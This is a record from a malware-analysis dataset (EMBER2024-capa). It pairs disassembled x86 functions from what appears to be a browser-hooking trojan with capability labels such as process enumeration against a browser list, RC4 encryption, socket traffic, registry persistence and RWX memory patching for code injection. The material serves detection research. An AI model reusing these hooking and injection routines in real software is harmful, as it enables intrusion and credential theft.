joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015af0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10015b6a
call fcn.10003420
test eax, eax
mov eax, 0x1005be4c
jne 0x10015b47
mov eax, 0x1005bf50
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10015b80
call fcn.10003420
neg eax
sbb eax, eax
and eax, 0xffffffd8
add eax, 0x2d
mov esp, ebp
pop ebp
ret
Function at 0x100177c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0x10016ca0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10017803
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10017803
test byte [ebp - 4], 2
jne 0x10017803
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x100178a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x100179bc
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10017999
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [ecx]
cmp dword [ebp - 0x128], 0
je 0x10017983
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x128], eax
je 0x10017983
lea ecx, [ebp - 0x10c]
push ecx
push str.iexplore.exeopera.exejava.exejavaw.exeexplorer.exeisclient.exeintpro.exeipc_full.exemnp.execbsmain.dllfirefox.execlmain.execore.exemaxthon.exeavant.exesafari.exesvchost.exechrome.exenotepad.exerundll32.exenetscape.exetbb_firefox.exefrd.exe
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10017930
mov eax, dword [ebp - 0x128]
call fcn.10024880
test eax, eax
je 0x10017983
mov edi, dword [ebp - 0x128]
push 0x1004fb80
call ebx
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10017972
xor eax, eax
mov dword [esi], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
push edi
mov dword [esi + 4], edi
call fcn.10024980
mov edx, dword [ebp - 4]
mov dword [esi + 8], eax
mov dword [esi], edx
mov dword [ebp - 4], esi
push 0x1004fb80
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100178f0
lea ecx, [ebp - 4]
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100179bc
test byte [ebp - 4], 2
jne 0x100179bc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10018160
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
jle 0x100181f3
mov ecx, dword [ebp + 8]
push ebx
sub ecx, esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
jmp 0x10018184
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + esi]
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x100]
movzx edi, cl
movzx edx, byte [edi + eax]
add edi, eax
mov byte [ebp + 0xf], dl
mov dl, byte [eax + 0x101]
add dl, byte [ebp + 0xf]
mov dword [ebp - 0x10], edi
movzx edi, dl
mov bl, byte [edi + eax]
add edi, eax
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x10]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
mov byte [ebp + 0xb], bl
movzx ebx, byte [ebp + 0xf]
mov byte [edi], bl
movzx ebx, byte [ebp + 0xf]
movzx edi, byte [ebp + 0xb]
add edi, ebx
mov bl, byte [ebp - 1]
and edi, 0xff
xor bl, byte [edi + eax]
inc cl
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x10018181
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10018220
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [esi + 0x34], 0
je 0x100182f7
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xc]
mov ecx, eax
and ecx, 0x800000ff
push edi
mov dword [esi + 0x34], 0
mov byte [ebp - 0x24], 3
jns 0x1001826b
dec ecx
or ecx, 0xffffff00
inc ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
mov byte [ebp - 0x1b], al
mov eax, dword [esi + 8]
mov edx, eax
and edx, 0x800000ff
mov byte [ebp - 0x1c], cl
jns 0x10018292
dec edx
or edx, 0xffffff00
inc edx
mov byte [ebp - 0x1a], dl
cdq
and edx, 0xff
add eax, edx
sar eax, 8
push 0
mov byte [ebp - 0x19], al
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
mov ecx, dword [esi]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
push ecx
push 1
lea edx, [ebp - 0x24]
push 0x20
push edx
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x24]
push eax
push ecx
push 0x20
push edx
call edi
mov eax, dword [esi + 0x10]
inc eax
shl eax, 5
add esp, 0x2c
cmp dword [esi + 0xc], eax
jle 0x100182f6
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 1]
push 1
push edx
mov byte [ebp - 1], 0xd
call edi
add esp, 0x10
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10018300
Capabilities:
Write file on windows

Disassembly:
cmp dword [esi + 0x2c], 0
je 0x10018340
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x10018340
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call dword [sym.imp.MSVCRT.dll_fseek]
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x1c
ret
Function at 0x10018740
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x34], 0
push edi
je 0x10018756
call fcn.10018220
cmp dword [esi + 0x2c], 0
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
je 0x1001879a
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x1001879a
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call ebx
add esp, 0x1c
cmp dword [esi + 0x38], 0
je 0x10018854
mov eax, dword [esi]
push 0
push 0
push eax
call edi
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 0x20]
push 0x20
push edx
call dword [sym.imp.MSVCRT.dll_fread]
mov ecx, dword [esi + 4]
mov eax, ecx
and eax, 0x800000ff
mov word [ebp - 0x1f], 0x75f
mov byte [ebp - 0x1d], 0x1a
jns 0x100187db
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1c], al
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
and eax, 0x800000ff
jns 0x100187fa
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1b], al
mov eax, ecx
cdq
and edx, 0xffff
add eax, edx
sar eax, 0x10
and eax, 0x800000ff
jns 0x10018819
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1a], al
mov eax, ecx
cdq
and edx, 0xffffff
add eax, edx
sar eax, 0x18
and eax, 0x800000ff
jns 0x10018838
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [esi]
push 0
push 0
push ecx
mov byte [ebp - 0x19], al
call edi
mov edx, dword [esi]
push edx
push 1
lea eax, [ebp - 0x20]
push 0x20
push eax
call ebx
add esp, 0x38
mov ecx, dword [esi]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.MSVCRT.dll_free]
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10018887
push eax
call edi
mov edx, dword [esi + 0x18]
push edx
call edi
mov eax, dword [esi + 0x1c]
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call edi
add esp, 0x10
mov edx, dword [esi + 0x24]
push edx
call edi
mov eax, dword [esi + 0x30]
push eax
call edi
push esi
call edi
mov eax, dword [0x1005a038]
add esp, 0xc
cmp eax, ebx
je 0x100188b4
push eax
call edi
add esp, 4
mov dword [0x1005a038], ebx
mov dword [0x1005a034], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100188c0
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
mov edi, eax
mov esi, ecx
test edi, edi
js 0x100189c2
cmp edi, dword [esi + 4]
jge 0x100189c2
cmp dword [esi + 0x10], 2
jle 0x100189c2
cmp dword [esi + 0x28], edi
je 0x1001892d
call fcn.10018300
mov eax, dword [esi + 8]
imul eax, edi
add eax, dword [esi + 0xc]
push 0
push eax
mov eax, dword [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100189c2
mov ecx, dword [esi]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0x30]
push ecx
push 1
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, 1
jne 0x100189c2
mov dword [esi + 0x28], edi
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 8]
mov edi, dword [esi + 0x30]
lea edx, [eax + 1]
cmp edx, dword [0x1005a034]
jle 0x1001895a
lea ecx, [eax + eax + 0xa]
mov eax, dword [0x1005a038]
mov dword [0x1005a034], ecx
call fcn.10018200
mov dword [0x1005a038], eax
mov eax, dword [esi + 0x18]
mov ecx, dword [eax + 8]
mov edx, dword [esi + 0x14]
mov eax, dword [edx + 8]
push ecx
mov ecx, dword [0x1005a038]
add eax, edi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi + 0x18]
mov eax, dword [0x1005a038]
mov ecx, dword [edx + 8]
mov byte [eax + ecx], 0
add esp, 0xc
cmp byte [eax], 0x20
mov esi, eax
mov ecx, eax
jne 0x10018998
inc esi
cmp byte [esi], 0x20
je 0x10018992
mov dl, byte [esi]
test dl, dl
je 0x100189ab
sub esi, eax
mov byte [ecx], dl
mov dl, byte [esi + ecx + 1]
inc ecx
test dl, dl
jne 0x100189a0
mov byte [ecx], 0
cmp ecx, eax
je 0x100189c4
dec ecx
cmp byte [ecx], 0x20
jne 0x100189c4
mov byte [ecx], 0
cmp ecx, eax
jne 0x100189b2
pop edi
pop esi
ret
xor eax, eax
pop edi
pop esi
ret
Function at 0x10019a00
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
cmp byte [0x1005a050], 0
jne 0x10019a18
xor al, al
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push edi
push 0
push 2
push 0x10049e44
push esi
call ebx
mov edx, 0x100
lea ecx, [ebp - 0x104]
call fcn.100198e0
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 0
push 2
lea eax, [ebp - 0x104]
push eax
push esi
call edi
mov al, byte [ebp - 0x103]
mov byte [ebp - 1], al
test al, al
je 0x10019b18
cmp byte [ebp - 0x104], 1
jne 0x10019b18
push 0
movsx ecx, al
push ecx
lea edx, [ebp - 0x104]
push edx
push esi
call edi
test eax, eax
jle 0x10019b18
movsx eax, byte [ebp - 1]
mov cl, byte [0x1005a051]
push 0
push 1
lea edx, [ebp - 1]
push edx
push esi
mov byte [ebp + eax - 0x103], cl
call edi
test eax, eax
jle 0x10019b18
mov edx, 0x100
lea ecx, [ebp - 0x204]
call fcn.100198e0
movsx eax, byte [ebp - 1]
push 0
push eax
lea ecx, [ebp - 0x204]
push ecx
push esi
call edi
test eax, eax
jle 0x10019adb
movsx edx, byte [ebp - 1]
mov al, byte [0x1005a051]
mov byte [ebp + edx - 0x204], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea ecx, [ebp - 0x104]
push ecx
push 0x1004fca8
call edi
test eax, eax
jne 0x10019b18
lea edx, [ebp - 0x204]
push edx
push 0x1004fba0
call edi
test eax, eax
jne 0x10019b18
push eax
push 2
push 0x10049e48
push esi
call ebx
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001a060
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x1001a0d7
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x1001a0cc
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x1005a5ec
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x1001a12f
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x1001a126
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x1005a5ec
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001a140
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x1001a1aa
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005a5ec
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x1001a1b0
Capabilities:
Create thread
Delete file
Get common file path
Get disk information
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push 0x104
lea eax, [ebp - 0x314]
push eax
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x314]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x1001a206
mov ecx, 0xff00ff
mov eax, 0xc000c001
mul ecx
shr edx, 0xe
imul edx, edx, 0x5555
mov eax, 0x2710
sub eax, edx
add ecx, eax
mov dword [ebp - 4], ecx
call fcn.1001a060
test eax, eax
jne 0x1001a341
mov ecx, dword [ebp - 4]
push esi
push edi
push eax
push eax
push ecx
push 0x10019e40
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001a26d
lea edx, [ebp - 8]
push edx
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001a26d
test byte [ebp - 8], 2
jne 0x1001a26d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, dword [ebp - 4]
push eax
push str._41_44_4D_49_4E_49_53_54
push str.name_sport_u
lea ecx, [ebp - 0x210]
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
lea eax, [ebp - 0x210]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001a2c3
sub eax, edx
mov esi, eax
call fcn.10014a30
push 0
push 1
push esi
lea edx, [ebp - 0x210]
push edx
mov edi, eax
push 1
lea eax, [ebp - 0x10c]
push eax
push str._home.php
push 0
mov eax, edi
call fcn.10014ab0
test eax, eax
jne 0x1001a31e
push eax
push 1
push esi
lea ecx, [ebp - 0x210]
push ecx
push 1
lea edx, [ebp - 0x10c]
push edx
push str._home.php
push 1
mov eax, edi
call fcn.10014ab0
push 0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1001a140
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001a350
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004ae48
push 0x10044dd0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
rdtsc
xor ecx, eax
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x20]
push eax
push 0x40
push 8
mov ecx, dword [ebp + 0xc]
push ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
je 0x1001a521
cmp dword [ebp - 0x20], 0
je 0x1001a521
push 0x40
push 0x3000
push 0x12
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1001a511
mov dword [ebp - 0x28], edi
lea edx, [ebp - 0x24]
push edx
push 0x40
push 0x12
push edi
call esi
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, dword [ebp - 0x24]
lea esi, [edi + 4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call edi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x68
push eax
push esi
call edi
inc esi
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp + 8]
push eax
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9c
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x81
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x74
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x24
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
mov ecx, dword [ebp - 0x1c]
push ecx
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9d
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0xc2
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
push eax
push esi
call edi
lea edx, [ebp + 8]
push edx
push ebx
push 0x12
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 4], 0
pushal
mov esi, dword [ebp + 0xc]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, 0x25ff9055
mov ecx, dword [ebp - 0x28]
lock cmpxchg8b qword ds:[esi]
popal
jmp 0x1001a4f3
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x20]
push edx
push 8
mov eax, dword [ebp + 0xc]
push eax
call esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001a540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov edi, ebx
test ebx, ebx
je 0x1001a693
mov edx, edi
call fcn.1001a890
add esi, eax
add edi, eax
cmp esi, 8
jb 0x1001a558
push 0x40
push 0x3000
add esi, 8
push esi
push 0
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1001a693
xor esi, esi
lea ebx, [ebx]
mov edx, ebx
call fcn.1001a890
push eax
lea ecx, [edi + esi]
push ebx
push ecx
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_memcpy
mov al, byte [edi + esi]
add esp, 0xc
cmp al, 0xe8
je 0x1001a5b3
cmp al, 0xe9
jne 0x1001a5bd
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 1], ecx
cmp al, 0xeb
jne 0x1001a5e9
mov dl, byte [edi + esi + 1]
add dl, bl
add dl, 2
movzx eax, dl
mov ecx, ebx
and ecx, 0xffffff00
add eax, ecx
sub eax, edi
sub eax, esi
sub eax, 5
mov byte [edi + esi], 0xe9
mov dword [edi + esi + 1], eax
add esi, 3
movzx edx, byte [edi + esi]
movzx eax, byte [edi + esi + 1]
shl dx, 8
or dx, ax
mov ecx, 0xfff0
and dx, cx
mov eax, 0xf80
cmp dx, ax
jne 0x1001a615
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 2], ecx
mov eax, dword [ebp - 8]
add esi, eax
add ebx, eax
cmp esi, 8
jb 0x1001a590
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x40
push ecx
push edi
mov dword [edx], edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001a693
mov ebx, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001a693
add edi, esi
push edi
lea eax, [esi + ebx]
push eax
call fcn.1001a350
mov ecx, dword [ebp + 0xc]
push ebx
push ecx
call fcn.1001a350
mov eax, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp - 0x10]
push edx
push eax
push esi
push ebx
call edi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push edx
push esi
push ebx
call edi
test eax, eax
je 0x1001a693
mov edi, ebx
call fcn.1001a6b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1001a740
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
mov eax, 0x1004fda8
push 0
push 0
mov dword [0x1004fdac], eax
mov dword [0x1004fda8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0x1001a7b0
push 0
push 0
mov dword [0x1004fca4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001a7a3
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001a7a3
test byte [ebp - 4], 2
jne 0x1001a7a3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret